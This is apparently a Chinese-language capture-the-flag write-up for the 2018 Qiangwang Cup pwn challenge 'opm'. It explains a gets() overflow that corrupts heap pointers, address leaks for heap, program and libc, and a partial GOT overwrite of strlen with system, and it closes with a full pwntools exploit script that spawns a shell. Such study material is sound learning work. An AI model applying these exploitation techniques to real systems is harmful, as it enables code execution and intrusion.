文章目录
  1. 1. 0x00 漏洞分析
  2. 2. 0x01 漏洞利用
    1. 2.1. 关键点1–>泄露heap地址
    2. 2.2. 关键点2–>泄露程序地址,libc地址
    3. 2.3. 关键点3–>修改got表
  3. 3. 0x02 调试和exp
    1. 3.1. 使用gdb结合pwntools调试
    2. 3.2. 完整exp如下
  4. 4. 0x03 运行结果
  5. 5. 0x04 总结

2018强网杯pwn之opm解题思路


0x00 漏洞分析

gets的输入没有控制大小会产生栈溢出,可以修改(变量v6)堆指针

1
2
3
4
5
6
7
role结构体
00000000 role struc ; (sizeof=0x20, mappedto_6)
00000000 func dq ?
00000008 name dq ?
00000010 len dq ?
00000018 punch dq ?
00000020 role ends

查看程序保护,可以看出比较重要的就是leak地址

0x01 漏洞利用

关键点1–>泄露heap地址

  1. 首先通过第一个栈溢出修改role1的指针,修改为xxxxx0010,然后会将role1的相关信息存储到xxxx0010地址。

  2. 再申请role2通过第一个栈溢出修改role2的指针,修改为xxxxxxx00,让这个地址落在role1name所申请的堆块范围内,然后通过第二次栈溢出修改role2的指针,将其修改为xxxxx0010,即将role2指向role1

  3. 最后程序输出name属性,将role2name属性的堆地址泄露出。

注意:要申请一个role0来调整堆的位置好让role1name所申请的堆块范围内。

关键点2–>泄露程序地址,libc地址

  1. 在申请role3构造name字段的内容,根据堆地址让其指向rolefunc_ptr的位置,利用第二次的栈溢出修改role3指针,让其指向伪造的name字段地址,最后可以泄露出func_ptr的值,进而知道程序的加载地址。

注意:这里伪造的role结构体会破坏下一个堆块的size位,这是由于写入punch的值,这里我是通过计算这里的值,通过输入的punch的值来修复,让下次堆块分配得一正常进行,泄露libc的地址与程序的地址类似,这里不再重复。

关键点3–>修改got表

  1. 利用方式和之前描述的差不多,这次将指针修改到got表附近,让strlen的got得位置落在rolepunch位置,这样我们可以修改strlen函数得低四个字节(partial overwrite),将其修改成system地址即可。

0x02 调试和exp

使用gdb结合pwntools调试

申请三个role代码,具体如下:

1
2
3
add('A'*0x70,1)
add('B'*0x80+"\x10",2)
add('C'*0x80,'3'+'d'*0x7f+'\x10')

执行过之后的heap情况如两图:


结合上面的图,可以看到0x000055c9c784cd00指向了(由于第一次溢出将堆地址存储到了前一个rolename中)前一个rolename,在将name输出的时候,可以leak到堆地址。

之后再构造如下payload,通过name的值伪造role

1
add('E'*8+p64(heap-0x30),str(131441).ljust(0x80,'f')+p64(heap+0xc0))

通过上述的payload可以leak出func_ptr,其它的地方类似,慢慢调试即可。

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
#context.log_level="debug"
p = process("./opm")
def add(name,n):
p.recvuntil("(E)")
p.sendline("A")
p.recvuntil("name:")
p.sendline(name)
p.recvuntil("punch?",timeout=1)
p.sendline(str(n))
def show():
p.recvuntil("(E)")
p.sendline("S")
def g():
gdb.attach(p)
raw_input()
add('A'*0x70,1)
add('B'*0x80+"\x10",2)
add('C'*0x80,'3'+'d'*0x7f+'\x10')
#g()
p.recvuntil("B"*8)
heap = u64((p.recvuntil(">",drop=True)).ljust(8,"\x00"))
print hex(heap)
add('E'*8+p64(heap-0x30),str(131441).ljust(0x80,'f')+p64(heap+0xc0)) # 131441-0x20171 size of top thunk
#g()
p.recvuntil("<")
func = u64((p.recvuntil(">",drop=True)).ljust(8,"\x00"))
pro_base = func-0xb30
#g()
print hex(pro_base)
strlen_got = 0x202040
print hex(pro_base+strlen_got)
#g()
add('G'*8+p64(pro_base+strlen_got),str(131441-0x30-0x20).ljust(0x80,'f')+p64(heap+0xc0+0x30+0x20))
p.recvuntil("<")
strlenaddr = u64((p.recvuntil(">",drop=True)).ljust(8,"\x00"))
print hex(strlenaddr)
system = strlenaddr-0x46390 #offset system
print hex(system)
#g()
add('U'*0x10,str(system&0xffffffff).ljust(0x80,'h')+p64(strlen_got+pro_base-0x18))
add('/bin/sh;','5')
p.interactive()

0x03 运行结果

0x04 总结

根据po师傅的wp和exp,自己动手调试写了一个自己的exp,收获还是蛮大的,遇到了很多问题,都在文中提到过了,希望以后遇到类似的问题可以借鉴。

文章目录
  1. 1. 0x00 漏洞分析
  2. 2. 0x01 漏洞利用
    1. 2.1. 关键点1–>泄露heap地址
    2. 2.2. 关键点2–>泄露程序地址,libc地址
    3. 2.3. 关键点3–>修改got表
  3. 3. 0x02 调试和exp
    1. 3.1. 使用gdb结合pwntools调试
    2. 3.2. 完整exp如下
  4. 4. 0x03 运行结果
  5. 5. 0x04 总结